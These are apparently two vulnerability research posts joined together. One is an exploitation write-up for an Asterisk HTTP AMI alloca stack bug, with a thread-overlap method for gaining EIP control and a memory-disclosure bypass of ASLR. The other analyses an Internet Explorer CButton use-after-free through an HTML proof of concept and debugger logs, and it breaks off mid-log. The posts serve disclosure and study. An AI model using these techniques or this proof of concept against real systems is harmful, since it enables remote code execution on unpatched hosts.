This post presents exploitation notes on a vulnerability we discovered in Asterisk, an open source telephony solution produced by Digium. We reported this bug to Digium on November 27th, 2012, and provided it to customers of the Exodus Intelligence Feed as EIP-2012-0008. Digium released the advisory AST-2012-014 for this vulnerability on January 2nd, 2013, which was picked up shortly after by some of the aggregator sites and incorrectly categorized as a denial-of-service; however, this bug is certainly exploitable. As we found it fun to analyze, and since discussions about server-side memory bugs are a little sparse now-a-days, we thought it would be cool to share for others who might also find it interesting.

Vulnerability

The vulnerability resides in the HTTP Asterisk Management Interface (AMI) service, and is the result of an alloca being used to “allocate” memory with a remotely-supplied, untrusted size value. The vulnerability is present in the Asterisk source code file main/http.c, specifically in the function ast_http_get_post_vars, which as the name would suggest is used to parse HTTP POST variable data. A snip of the pertinent vulnerable code in this function is shown below:

struct ast_variable *ast_http_get_post_vars(
  struct ast_tcptls_session_instance *ser, struct ast_variable *headers)
{
  int content_length = 0;
  struct ast_variable *v, *post_vars=NULL, *prev = NULL;
  char *buf, *var, *val;

  for (v = headers; v; v = v->next) {
    if (!strcasecmp(v->name, "Content-Type")) {
      if (strcasecmp(v->value, "application/x-www-form-urlencoded")) {
        return NULL;
      }
      break;
    }
  }

  for (v = headers; v; v = v->next) {
    if (!strcasecmp(v->name, "Content-Length")) {
      content_length = atoi(v->value) + 1;
      break;
    }
  }

  if (!content_length) {
    return NULL;
  }

  if (!(buf = alloca(content_length))) {
    return NULL;
  }
  if (!fgets(buf, content_length, ser->f)) {
    return NULL;
  }

The code shows the length value being converted from the Content-Length string using atoi, then incremented by one and stored in the content_length variable. Memory is obtained by alloca for the expected content length, and pointed to by *buf. Finally, fgets is called to read the expected amount of content data into this buffer. I found it interesting that the code looks as though it may have been written with memory management issues in mind, as the check to ensure content_length is not zero would catch an integer overflow caused by adding one to the value.

Below is a snip of disassembled code for the vulnerable function as compiled in the Asterisk package shipped with Ubuntu. This snip shows the size value being set and used to subtract the stack pointer (ESP) to “allocate” stack memory:

<ast_http_get_post_vars+187>:   call   <strtol@plt>
<ast_http_get_post_vars+192>:   mov    edx,eax
<ast_http_get_post_vars+194>:   add    edx,0x1
<ast_http_get_post_vars+197>:   je     <ast_http_get_post_vars+408>
<ast_http_get_post_vars+203>:   mov    ecx,DWORD PTR [ebp-0x30]
<ast_http_get_post_vars+206>:   add    eax,0x1f
<ast_http_get_post_vars+209>:   and    eax,0xfffffff0
<ast_http_get_post_vars+212>:   sub    esp,eax <----- LOL
<ast_http_get_post_vars+214>:   lea    esi,[esp+0x1b]

As shown, the alloca is compiled into a simple set of instructions to ADD and AND-off the size to be allocated from the stack. It then subtracts the revised size from the stack pointer, and stores an address derived from this into the ESI register for further use.

Exploitation Obstacles

Since most compilers implement alloca as a fairly direct subtraction of the stack pointer, the exploitation of alloca is often as simple as providing a size value large enough to wrap the stack pointer around to a desirable location higher on the stack. Subsequent use of the pointer to store remotely supplied data would then result in stack memory corruption, and allow for vanilla exploitation techniques to gain control of program execution flow.

However, here the vulnerable code uses the function fgets to read network data into the obtained memory space. This complicates the situation for exploitation as the libc implementation of fgets performs a check on its length argument to ensure that it is not beyond the signed integer boundary of 0x7FFFFFFF. If this check fails, fgets does not read data and returns an error. The code snip below shows the check performed inside of fgets as implemented in libc.6.so:

<fgets+0>:     sub    esp,0x4c
<fgets+3>:     mov    DWORD PTR [esp+0x48],ebp
<fgets+7>:     mov    ebp,DWORD PTR [esp+0x54]
<fgets+11>:    mov    DWORD PTR [esp+0x3c],ebx
<fgets+15>:    call   <mov_esp_ebx>
<fgets+20>:    add    ebx,0x14051c
<fgets+26>:    mov    DWORD PTR [esp+0x40],esi
<fgets+30>:    mov    esi,DWORD PTR [esp+0x58]
<fgets+34>:    test   ebp,ebp
<fgets+36>:    mov    DWORD PTR [esp+0x44],edi
<fgets+36>:    mov    DWORD PTR [esp+0x44],edi
<fgets+40>:    jle    <fgets+336>
...
<fgets+336>:   mov    DWORD PTR [esp+0x50],0x0
<fgets+344>:   jmp    <fgets+256>
...
<fgets+256>:   mov    eax,DWORD PTR [esp+0x50]
<fgets+260>:   mov    ebx,DWORD PTR [esp+0x3c]
<fgets+264>:   mov    esi,DWORD PTR [esp+0x40]
<fgets+268>:   mov    edi,DWORD PTR [esp+0x44]
<fgets+272>:   mov    ebp,DWORD PTR [esp+0x48]
<fgets+276>:   add    esp,0x4c
<fgets+279>:   ret    

The EBP register, containing the length argument, is checked to be a positive signed value using the TEST and JLE instructions at <fgets+34> and <fgets+40>. If the check fails, the code jumps to return an error, making fgets unusable for exploiting a wrapped stack pointer to overwrite memory with data read from the network. While stack corruption by this means is still possible through the pushing and moving of data to the stack by other compiled code operations, the lack of control and limited set of operations make this approach undesirable.

At this point some might categorize this vulnerability as purely theoretical or possibly even unexploitable. As I hope many readers would agree, a challenge of this nature is always inviting. The Exodus team loves goading and trolling one another in these scenarios, usually with something along the lines of “Yeah, it is probably too tough for you to exploit…” or “you should probably just give up.” The recipient of this pep talk usually proceeds to cry and reevaluate the code until an idea hits them or they decide to resign to a life of PCI compliance auditing. Challenge accepted.

EIP Control

After spending some time analyzing the problem and hating computers, I found a way to exploit this vulnerability. The HTTP listener for the Asterisk Management Interface handles every new connection by creating a new thread to execute a designated worker function to process the request. The code to setup and complete this task is spread out across multiple functions and macros and is a little messy, so we’ll try to keep details to a minimum. The HTTP AMI is started initially by a call chain of functions starting with ast_http_init, which calls __ast_http_load, which then calls ast_tcptls_server_start. The function ast_tcptls_server_start performs standard TCP socket setup operations, and is defined as:

void ast_tcptls_server_start(struct ast_tcptls_session_args *desc)

Despite the name, ast_tcptls_server_start is used for both TLS and non-TLS service setup. The single argument taken by this function is a structure describing aspects of the server to be started. From __ast_http_load, the call looks like:

ast_tcptls_server_start(&http_desc);

The structure structure http_desc is defined in main/http.c as:

static struct ast_tcptls_session_args http_desc = {
  .accept_fd = -1,
  .master = AST_PTHREADT_NULL,
  .tls_cfg = NULL,
  .poll_timeout = -1,
  .name = "http server",
  .accept_fn = ast_tcptls_server_root,
  .worker_fn = httpd_helper_thread,
};

The .accept_fn is a function pointer for a function to accept the connection, and the worker_fn is a pointer to the worker function responsible for processing the request once a new thread is created. After more setup code, a new thread is created to accept socket connections by calling the function ast_tcptls_server_root. For each TCP connection accepted on the listening HTTP port (default 8088), ast_tcptls_server_root calls the following thread creation wrapper to create a new thread and eventually call the worker function:

...
if (ast_pthread_create_detached_background(&launched, NULL, handle_tcptls_connection, tcptls_session)) {
  ast_log(LOG_WARNING, "Unable to launch helper thread: %s\n", strerror(errno));
   ast_tcptls_close_session_file(tcptls_session);
   ao2_ref(tcptls_session, -1);
   }
...

The function ast_pthread_create_detached_background is a macro wrapper for the function ast_pthread_create_stack. The macro definition looks roughly like:

ast_pthread_create_detached_stack(a, b, c, d, AST_BACKGROUND_STACKSIZE, ...)

The important thing to note here is the argument AST_BACKGROUND_STACKSIZE. This is used by the function to set the new thread's stack size attribute before starting the thread:

pthread_attr_setstacksize(attr, stacksize ? stacksize : AST_STACKSIZE)
...
return pthread_create(thread, attr, start_routine, data);

For builds without low memory restrictions defined, the AST_BACKGROUND_STACKSIZE and the AST_STACKSIZE macros are defined as:

#define AST_BACKGROUND_STACKSIZE AST_STACKSIZE
#define AST_STACKSIZE (((sizeof(void *) * 8 * 8) - 16) * 1024) /* becomes 0x3C000 */


The use of AST_STACKSIZE, or 0x3C000, to set the size of the stack for each new HTTP thread is significant, as it means the stack of the newly created thread will begin at 0x3C000 below the top of the previous thread's stack. In turn, if a value of this size or greater is used for alloca pointer subtraction, the resulting stack pointer will overlap with the stack memory of a newer thread. By carefully synchronizing the state of the threads involved so they do not collide their shared use of stack memory, it is possible to use this behavior to overwrite the contents of one thread's stack area with network data read by another thread. To visualize this, and because I love drawing stack diagrams, I present the following bad art:

Synchronizing the two threads such that they do not collide and clobber each other's critical stack contents is as simple as not sending data when a given thread is expecting it. While one thread is waiting for data in a blocking read operation, the other thread may be using the stack. Using the HTTP POST method (as is required to trigger the vulnerability) allows for two separate network read operations per thread: one for the initial read of HTTP headers, and a second for reading the HTTP Content-Data. Having two individual network read operations per thread provides enough blocking opportunity to align the augmented stack pointer of the first thread to a desirable location used by the second thread. Better yet, this provides an opportunity to align the pointer of the first thread to a location that is not yet used by the second thread, but will be used once the second thread completes its initial read and resumes execution. The following diagram steps attempt to illustrate this process, ignoring trivial details and using round numbers for simplicity.

1. Two socket connections to the HTTP AMI service are established, causing Asterisk to create two threads to handle the connections. Both threads are expecting HTTP headers and so they are both blocking on a read operation. To depict the state of these threads:

2. Thread1 is sent HTTP headers with an HTTP Content-Length string equivalent to 0x3C900. Once headers are received, Thread1's initial read operation finishes. It performs the alloca, subtracting its stack pointer by 0x3C900, which places its pointer for *buf at 0x900 bytes down from the top of Thread2's stack:

3. Thread1 is then sent approximately 0x700 bytes of the 0x3C900 it is expecting. This advances the *buf pointer index used by fgets up the stack, closer to Thread2's current stack pointer. Thread1 continues waiting as it has not yet received the full amount of data expected (0x3C900).

4. Thread2, still waiting on its initial network read, is sent HTTP POST headers with a Content-Length string equivalent to approximately 0x200, which it uses for its own alloca, subtracting from its stack pointer. Coordinating this length carefully places it precisely where the *buf pointer in Thread1 fgets currently points. Thread2 then calls fgets to receive its HTTP Content-Data, causing it to block while waiting to read in data.

5. Thread1 is sent 4 more bytes of the data it is waiting to receive, which is stored starting at its current *buf index in fgets, and overwrites where Thread2's stored return address is for fgets. A return from fgets can then be triggered by sending the remaining data expected, or a newline character, or also by simply closing the connection. Once Thread2 returns, EIP is restored from the overwritten return address value and execution flow is controlled.

Protection Mechanisms

Precisely overwriting only desired stack contents leaves stack canaries intact so that they do not interfere with exploitation. To avoid non-executable memory protections, typical return-oriented techniques may be employed to reuse existing executable memory once execution flow is controlled. This leaves Address Space Layout Randomization (ASLR), and more specifically, Asterisk builds compiled as Position-Independent-Executables (PIE) as the only remaining obstacle to overcome, as fixed return locations cannot be used in this case.

While the default Makefile generated to compile Asterisk from source does not include flags for PIE, popular Linux distributions may package their own Asterisk builds compiled with PIE for extra security, such as with Ubuntu (props to @kees_cook for keeping us on our toes with this). ASLR via PIE significantly frustrates exploitation. Since Ubuntu is a popular distribution, and having set the bar for difficulty in this case, the Ubuntu Asterisk build is the target we challenged ourselves with.

Who Was Phone

I will save you from babble about entropy and efforts made to try and guess addresses in the presence of ASLR. Instead we will discuss how this vulnerability can be reliably exploited for memory disclosure, and used to determine the location of Asterisk code memory to redirect execution to.

The function generic_http_callback in main/manager.c is the URL handling function executed when triggering the vulnerability, and is defined as:

static int generic_http_callback(struct ast_tcptls_session_instance *ser,
             enum ast_http_method method,
             enum output_format format,
             struct sockaddr_in *remote_address, const char *uri,
             struct ast_variable *get_params,
             struct ast_variable *headers)
{

Above you can see the output_format argument format is an enumeration value for one of the possible formats used for the reply. Its expected possible values are 0, 1, or 2 for "plain", "html", "xml" respectively. This value is used to retrieve a pointer from a global array when constructing a response in generic_http_callback:

/* ... */
  ast_str_append(&http_header, 0,
    "Content-type: text/%s\r\n"
    "Cache-Control: no-cache;\r\n"
    "Set-Cookie: mansession_id=\"%08x\"; Version=1; Max-Age=%d\r\n"
    "Pragma: SuppressEvents\r\n",
    contenttype[format],
    session->managerid, httptimeout);
/* ... */
  ast_http_send(ser, method, 200, NULL, http_header, out, 0, 0);
/* ... */

The contenttype array contains the pointers to the strings used for the HTTP response, and thus the pointer retrieved from this look-up directly influences data sent back to the HTTP user. By conducting the same style of stack pointer manipulation previously described, it is possible to align a thread's *buf pointer to overwrite the stack memory where format is stored, so it indexes beyond the contenttype array into other memory. With the help of some handy debugger scripting, I was able to find a pointer->pointer->code from a relative offset of contenttype. My code to do this with VDB is shown below. (Comments document the code a little bit, but a more extensive explanation of VDB is beyond the scope of this post):

for m in trace.getMemoryMaps():

  # check memory map name
  if m[3].lower() == "/usr/sbin/asterisk":

    #  check for flags Read & Write for data segment
    if m[2] == 6:
      addr = m[0]
      memlen = m[1]
      memory = trace.readMemory(addr, memlen)
  
    # check for Execute flag
    elif m[2] == 5:
      # save beginning and ending of executable memory
      code = m[0]
      codestop = code+m[1]

# from each offset in the memory
for offset in range(memlen-4):

  # read for the size of a pointer
  ptr = struct.unpack("<I", memory[offset:offset+4])[0]

  # check if it is a pointer
  if ispoi(ptr):
    # read the value at the pointer
    ptr = struct.unpack("<I", trace.readMemory(ptr, 4))[0]

    # is that value in the asterisk code?
    if ptr > code and ptr < codestop:
      print "[*] Found 0x%08x -> 0x%08x" % (addr+offset, ptr)

The script simply searches the memory maps of the attached process for the Asterisk data and code memory regions. Once they are found, the value at every possible offset in the data map is checked to be a valid memory address. Passing this check, the value at the memory it points to is then also checked to see if it is a pointer to code memory and then prints out valid matches. This script identified 8 locations of usable pointers when ran against Ubuntu's packaged Asterisk binary.

By overwriting the saved format variable with an index to offset to one of these pointer sequences, it is possible to manufacture a remote memory disclosure and determine an address of Asterisk code memory. Putting this all together allows for successful remote arbitrary code execution despite ASLR/PIE/NX/STACK COOKIES/ALL_OF_THE_THINGS compiled in with the Ubuntu build. To add to an already silly amount of convenience with the conditions surrounding this bug, when gaining EIP control through the method described, the next value on the stack above the overwritten return address is a pointer to the buffer passed to fgets in the second thread. This buffer is populated with the second thread's received HTTP Content-Data (remotely-controlled data). Using the memory disclosure to calculate the address of a call to the function ast_safe_system, which takes a single string pointer argument to execute as a command line, it is simple to exploit the return in the second thread to execute arbitrary commands from the Asterisk process -- which often runs as root. Using this to spawn a remote shell with Ubuntu's default dash shell is a little obnoxious, but possible, and an exercise left up to the reader.

Hope you enjoyed the post!
--
Brandon Edwards
@drraid

After posting our analysis of the current 0day in Internet Explorer which was used in a “watering hole” style attack hosted on the Council for Foreign Relations website, we decided to take a look at the Fix It patch made available by Microsoft to address the vulnerability. After less than a day of reverse engineering, we found that we were able to bypass the fix and compromise a fully-patched system with a variation of the exploit we developed earlier this week.

We have included details on the bypass to customers of our intelligence feeds and will notify Microsoft of the issue. In practice with coordinated vulnerability disclosure, we intend to update this post with details when Microsoft has addressed the problematic patch.

For more information, keep an eye on this post or contact us to inquire about our offerings.

• Analysis
• Exploitation
• Conclusion

Analysis

The first thing I did was grab the Metasploit version of the exploit and remove all heapspay and other items to get a clean poc. This resulted in the following html data.

<!doctype html>
<html>
<head>
	<script>
	function helloWorld() {
		var e0 = null;
		var e1 = null;
		var e2 = null;

		try {
			e0 = document.getElementById("a");
			e1 = document.getElementById("b");
			e2 = document.createElement("q");
			e1.applyElement(e2);
			e1.appendChild(document.createElement('button'));
			e1.applyElement(e0);
			e2.outerText = "";
			e2.appendChild(document.createElement('body'));
		} catch(e) { }
		CollectGarbage();
		var eip = window;
		var data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
		eip.location = unescape("AA" + data);
	}

	</script>
</head>
<body onload="eval(helloWorld())">
	<form id="a">
	</form>
	<dfn id="b">
	</dfn>
</body>
</html>

The next step was to turn on pageheap and user stack trace for internet explorer and just run the poc and see what happened.

This resulted in the following windbg log:

(a0.3c0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05682fa8 ebx=04db8f28 ecx=00000052 edx=00000000 esi=00000000 edi=05682fa8
eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef:
3d08625c 8b07            mov     eax,dword ptr [edi]  ds:0023:05682fa8=????????
1:022> !heap -p -a edi
    address 05682fa8 found in
    _DPH_HEAP_ROOT @ 151000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    5640eb0:          5682000             2000
    7c91a1ba ntdll!RtlFreeHeap+0x000000f9
    3d2b4b10 mshtml!CButton::`vector deleting destructor'+0x0000002f
    3cfa0ad9 mshtml!CBase::SubRelease+0x00000022
    3cf7e76d mshtml!CElement::PrivateRelease+0x00000029
    3cf7a976 mshtml!PlainRelease+0x00000025
    3cf9709c mshtml!PlainTrackerRelease+0x00000014
    3d7b5194 jscript!VAR::Clear+0x0000005c
    3d7b55b9 jscript!GcContext::Reclaim+0x000000ab
    3d7b4d08 jscript!GcContext::CollectCore+0x00000113
    3d82471d jscript!JsCollectGarbage+0x0000001d
    3d7c4aac jscript!NameTbl::InvokeInternal+0x00000137
    3d7c28c5 jscript!VAR::InvokeByDispID+0x0000017c
    3d7c4f93 jscript!CScriptRuntime::Run+0x00002abe
    3d7c13ab jscript!ScrFncObj::CallWithFrameOnStack+0x000000ff
    3d7c12e5 jscript!ScrFncObj::Call+0x0000008f
    3d7c1113 jscript!CSession::Execute+0x00000175

 
1:022> kv
ChildEBP RetAddr  Args to Child              
0336d80c 3cee3e45 04f38fc0 04df06bc 04df06a8 mshtml!CMarkup::OnLoadStatusDone+0x4ef
0336d82c 3cee3e21 00000004 0336dcb4 00000001 mshtml!CMarkup::OnLoadStatus+0x47
0336dc78 3cf50aef 04f3af48 00000000 00000000 mshtml!CProgSink::DoUpdate+0x52f
0336dc8c 3cf8a7e9 04f3af48 04f3af48 04d9cd58 mshtml!CProgSink::OnMethodCall+0x12
0336dcc0 3cf75488 0336dd48 3cf753da 00000000 mshtml!GlobalWndOnMethodCall+0xfb
0336dce0 7e418734 0007025e 00000009 00000000 mshtml!GlobalWndProc+0x183
0336dd0c 7e418816 3cf753da 0007025e 00008002 USER32!InternalCallWinProc+0x28
0336dd74 7e4189cd 00000000 3cf753da 0007025e USER32!UserCallWinProcCheckWow+0x150 (FPO: [Non-Fpo])
0336ddd4 7e418a10 0336de08 00000000 0336feec USER32!DispatchMessageWorker+0x306 (FPO: [Non-Fpo])
0336dde4 3e2ec1d5 0336de08 00000000 01f9cf58 USER32!DispatchMessageW+0xf (FPO: [Non-Fpo])
0336feec 3e2932ee 030ecfe0 01000002 03070ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c (FPO: [Non-Fpo])
0336ffa4 3e136f69 01f9cf58 0015476c 0336ffec IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO: [Non-Fpo])
0336ffb4 7c80b729 03070ff0 01000002 0015476c iertutil!CIsoScope::RegisterThread+0xab (FPO: [Non-Fpo])
0336ffec 00000000 3e136f5b 03070ff0 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo])

Just from this initial run we can already draw some conclusions. The freed object was a CButton object, as can be deducted from the stack trace of the freed memory “mshtml!CButton::`vector deleting destructor’”. And the reuse of the freed memory seem to occur when the onload handler is completely finished: mshtml!CMarkup::OnLoadStatusDone+0x4ef.

When we look back at the HTML code some of it makes sense

e1.appendChild(document.createElement('button'));

This is most likely the code that created the object that is freed later on. Let see if we can find out at what point the object is being freed and when it is being reused. For that we change the javascript to include some log messages that we can use to determine when things are happening. We will also add 2 breakpoints the keep track of the creation and deletion of CButton objects. Creating a CButton object will go through “CButton::CreateElement“.

If we set a breakpoint just after the call to HeapAlloc we know the address of the CButton that has been created. We already know the function responsible for deleting a CButton object and we will set a breakpoint there as well.

By adding javascript log messages between all the call we can easily keep track of the progress of the poc while it runs.

<!doctype html>
<html>
<head>
	<script>
	function helloWorld() {
                var e0 = null;
		var e1 = null;
		var e2 = null;
		try {
			Math.atan2(0xbadc0de, "before get element a")
			e0 = document.getElementById("a");
			Math.atan2(0xbadc0de, "before get element b")
			e1 = document.getElementById("b");
			Math.atan2(0xbadc0de, "before create element q")
			e2 = document.createElement("q");
			Math.atan2(0xbadc0de, "before apply element e1(b) -> e2(q)")
			e1.applyElement(e2);
			Math.atan2(0xbadc0de, "before appendChild create element button")
			e1.appendChild(document.createElement('button'));
			Math.atan2(0xbadc0de, "before applyElement e1 -> e0")
			e1.applyElement(e0);
			Math.atan2(0xbadc0de, "before e2 outertext")
			e2.outerText = "";
			Math.atan2(0xbadc0de, "before e2 appendChild createElement body")
			e2.appendChild(document.createElement('body'));
			Math.atan2(0xbadc0de, "All done inside try loop")
		} catch(e) { }
		Math.atan2(0xbadc0de, "collecting garbage")
		CollectGarbage();
		Math.atan2(0xbadc0de, "Done collecting garbage")

	}

	</script>
</head>
<body onload="eval(helloWorld())">
	<form id="a">
	</form>
	<dfn id="b">
	</dfn>
</body>
</html>

We now run the poc again.

0:000> sxe ld:jscript
0:000> g
ModLoad: 3d7a0000 3d854000   C:\WINDOWS\system32\jscript.dll
eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000
eip=7c90e514 esp=0336c1a8 ebp=0336c29c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!KiFastSystemCallRet:
7c90e514 c3              ret
1:025> bp jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"
1:025> bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g"
1:025> bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", eax;.echo;g"
1:025> bl
 0 e 3d7d8f09     0001 (0001)  1:**** jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"
 1 e 3d2b4c27     0001 (0001)  1:**** mshtml!CButton::CreateElement+0x16 ".printf \"Created CButton at %p\", eax;.echo;g"
 2 e 3d2b4ae1     0001 (0001)  1:**** mshtml!CButton::`vector deleting destructor' ".printf \"Deleting CButton at %p\", eax;.echo;g"
1:025> g
before get element a
before get element b
before create element q
before apply element e1(b) -> e2(q)
before appendChild create element button
Created CButton at 05312fa8
before applyElement e1 -> e0
before e2 outertext
before e2 appendChild createElement body
All done inside try loop
collecting garbage
Deleting CButton at 3cf70d10
Done collecting garbage
(870.bcc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05312fa8 ebx=04dcef28 ecx=00000052 edx=00000000 esi=00000000 edi=05312fa8
eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef:
3d08625c 8b07            mov     eax,dword ptr [edi]  ds:0023:05312fa8=????????

We break when jscript.dll is loaded (sxe ld:jscript) and then set the breakpoints to print out the log messages and CButton creation and deletions. The CButton object is deleted during the call to CollectGarbage but is not reused until after that call is finished. So we can easily take control over the freed objects memory by creating some data of the right size, but more about that later.
The next step is trying to figure out why this use-after-free is actually happening. Microsoft already gave us some hints on the root cause of the issue with their blog post.

Lets go back to the crash and see where edi (pointing to the freed memory) comes from.

Apparently the CElement::FindDefaultElem function returns the CButton element after it already has been freed. This is the function that Microsoft patched out with their Fix it Shim so we are on the right track. This function is called a few times before the process crashes so to make our life easier we wont break on this function but rather on the call to this function in the CMarkup::OnLoadStatusDone function. As a side note: it is also clear that it is realy easy to get EIP control through this freed object since we straight up grab the vftable from the freed object (mov eax, [edi]) and then call a function (call dword ptr [eax+0DCh]) from the vftable. Anyway, here is the windbg log with breakpoints at CButton create and delete so we know what the address of the CButton object was and a breakpoint in the CMarkup::OnLoadStatusDone function before the call to CElement::FindDefaultElem.

0:000> sxe ld:mshtml
0:000> g
ModLoad: 3cea0000 3d45e000   C:\WINDOWS\system32\mshtml.dll
1:025> bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g"
1:025> bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", ecx;.echo;g"
1:025> bp !mshtml + 0x44224
1:025> bl
 0 e 3d2b4c27     0001 (0001)  1:**** mshtml!CButton::CreateElement+0x16 ".printf \"Created CButton at %p\", eax;.echo;g"
 1 e 3d2b4ae1     0001 (0001)  1:**** mshtml!CButton::`vector deleting destructor' ".printf \"Deleting CButton at %p\", ecx;.echo;g"
 2 e 3cee4224     0001 (0001)  1:**** mshtml!CMarkup::OnLoadStatusDone+0x4dc
1:025> g
Created CButton at 055eefa8
Deleting CButton at 055eefa8
Breakpoint 2 hit
3cee4224 e80bc30100      call    mshtml!CElement::FindDefaultElem (3cf00534)
1:025> t

<snip>

3cf00585 56              push    esi
3cf00586 8bc3            mov     eax,ebx
3cf00588 e84aa20400      call    mshtml!CElement::GetParentForm (3cf4a7d7)
1:025> 
eax=00000000 ebx=052dafd0 ecx=00000052 edx=00000000 esi=00000000 edi=04c1a6a8
eip=3cf0058d esp=0336d780 ebp=0336d78c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CElement::FindDefaultElem+0x51:
3cf0058d 8bf0            mov     esi,eax
3cf0058f 3bf2            cmp     esi,edx
3cf00591 0f857e4d1a00    jne     mshtml!CElement::FindDefaultElem+0x57 (3d0a5315) [br=0]
1:025> 
3cf00597 395510          cmp     dword ptr [ebp+10h],edx ss:0023:0336d79c=00000000
3cf0059a 0f8569a71f00    jne     mshtml!CElement::FindDefaultElem+0x79 (3d0fad09) [br=0]
1:025> 
eax=00000000 ebx=052dafd0 ecx=00000052 edx=00000000 esi=00000000 edi=04c1a6a8
eip=3cf005a0 esp=0336d780 ebp=0336d78c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CElement::FindDefaultElem+0x96:
3cf005a0 8b87a8010000    mov     eax,dword ptr [edi+1A8h] ds:0023:04c1a850=055eefa8

1:025> dc 04c1a6a8
04c1a6a8  3cfa4f78 00000014 000000b8 00000000  xO.<............
04c1a6b8  00000000 3cf46c50 04c1a6a8 021e1b8c  ....Pl. dds 04c1a6a8 L1
04c1a6a8  3cfa4f78 mshtml!CDoc::`vftable'
1:025> !heap -p -a 04c1a6a8
    address 04c1a6a8 found in
    _DPH_HEAP_ROOT @ 151000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 44cad98:          4c1a6a8              954 -          4c1a000             2000
          mshtml!CDoc::`vftable'
    7c919c0c ntdll!RtlAllocateHeap+0x00000e64
    3ceb29f0 mshtml!CDoc::operator new+0x00000013
    3cebd2e8 mshtml!CBaseCF::CreateInstance+0x0000007b
    3e284da3 IEFRAME!CBaseBrowser2::_OnCoCreateDocument+0x0000005f
    3e284d44 IEFRAME!CBaseBrowser2::_ExecExplorer+0x00000073
    3e2eca2e IEFRAME!CBaseBrowser2::Exec+0x0000012d
    3e2ecec8 IEFRAME!CShellBrowser2::_Exec_CCommonBrowser+0x00000080
    3e2ecef7 IEFRAME!CShellBrowser2::Exec+0x00000626
    3e284b53 IEFRAME!CDocObjectHost::_CoCreateHTMLDocument+0x0000004e
    3e284ae7 IEFRAME!CDocObjectHost::_CreatePendingDocObject+0x0000002c
    3e28320a IEFRAME!CDocObjectHost::CDOHBindStatusCallback::_ProcessCLASSIDBindStatus+0x000000c5
    3e283d17 IEFRAME!CDocObjectHost::CDOHBindStatusCallback::_ProcessSecurityBindStatus+0x000000b2
    3e282d1d IEFRAME!CDocObjectHost::CDOHBindStatusCallback::OnProgress+0x000000a5
    781362f7 urlmon!CBSCHolder::OnProgress+0x0000003c
    78136247 urlmon!CBinding::CallOnProgress+0x00000030
    7816180b urlmon!CBinding::InstantiateObject+0x000000b7

1:025> p
3cf005a6 5e              pop     esi
3cf005a7 5f              pop     edi
3cf005a8 5b              pop     ebx
3cf005a9 5d              pop     ebp
3cf005aa c20c00          ret     0Ch

The log has been edited to make it a little bit more readable, but what we gain from this is that our CButton object is still referenced in a CDoc element. The next step is to run the poc again (yes, we’ll be doing this a lot) and see why and when the reference is planted there. For this we will break on the mshtml!CDoc::operator new function and then set a memory breakpoint on CDoc Object + 0x1A8 to see which functions write to this location.

Microsoft (R) Windows Debugger Version 6.12.0002.633 X86
Copyright (c) Microsoft Corporation. All rights reserved.

CommandLine: "c:\Program Files\Internet Explorer\iexplore.exe" http://127.0.0.1/crash.html
Symbol search path is: srv*c:\mss*http://msdl.microsoft.com/download/symbols
Executable search path is: 
ModLoad: 00400000 0049c000   iexplore.exe
ModLoad: 7c900000 7c9b2000   ntdll.dll
ModLoad: 7c800000 7c8f6000   C:\WINDOWS\system32\kernel32.dll
ModLoad: 77dd0000 77e6b000   C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77e70000 77f03000   C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 77fe0000 77ff1000   C:\WINDOWS\system32\Secur32.dll
ModLoad: 7e410000 7e4a1000   C:\WINDOWS\system32\USER32.dll
ModLoad: 77f10000 77f59000   C:\WINDOWS\system32\GDI32.dll
ModLoad: 77c10000 77c68000   C:\WINDOWS\system32\msvcrt.dll
ModLoad: 77f60000 77fd6000   C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 7c9c0000 7d1d7000   C:\WINDOWS\system32\SHELL32.dll
ModLoad: 774e0000 7761e000   C:\WINDOWS\system32\ole32.dll
ModLoad: 3dfd0000 3e1bb000   C:\WINDOWS\system32\iertutil.dll
ModLoad: 78130000 78263000   C:\WINDOWS\system32\urlmon.dll
ModLoad: 77120000 771ab000   C:\WINDOWS\system32\OLEAUT32.dll
(8b0.770): Break instruction exception - code 80000003 (first chance)
eax=014a6fec ebx=7ffd6000 ecx=00000001 edx=00000002 esi=014aafb0 edi=014a6fec
eip=7c90120e esp=0013fb20 ebp=0013fc94 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc              int     3
0:000> sxe ld:mshtml
0:000> g
Symbol search path is: srv*c:\mss*http://msdl.microsoft.com/download/symbols
Executable search path is: 
